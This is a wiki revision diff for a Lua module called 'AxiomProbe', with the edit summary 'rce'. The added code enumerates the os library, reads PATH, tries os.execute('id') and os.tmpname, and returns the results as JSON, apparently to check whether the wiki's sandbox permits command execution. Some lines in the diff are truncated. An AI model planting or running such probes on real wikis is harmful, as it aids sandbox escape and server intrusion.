Module:AxiomProbe: Difference between revisions
Appearance
probe v2 |
rce |
||
| Line 1: | Line 1: | ||
local p = {} | local p = {} | ||
function p.main(frame) | function p.main(frame) | ||
local info = {} | local info = {} | ||
local os_funcs = {} | |||
for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end | |||
local | info.os_funcs = table.concat(os_funcs, '|') | ||
for k, v in pairs( | local ok1, v1 = pcall(os.getenv, 'PATH') | ||
info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1)) | |||
local ok2, v2 = pcall(os.execute, 'id 2>&1') | |||
info. | info.exec_ok = tostring(ok2) | ||
info.exec_val = tostring(v2) | |||
local ok3, v3 = pcall(os.tmpname) | |||
info. | info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3)) | ||
info. | |||
info. | |||
info. | |||
return mw.text.jsonEncode(info) | return mw.text.jsonEncode(info) | ||
end | end | ||
return p | return p | ||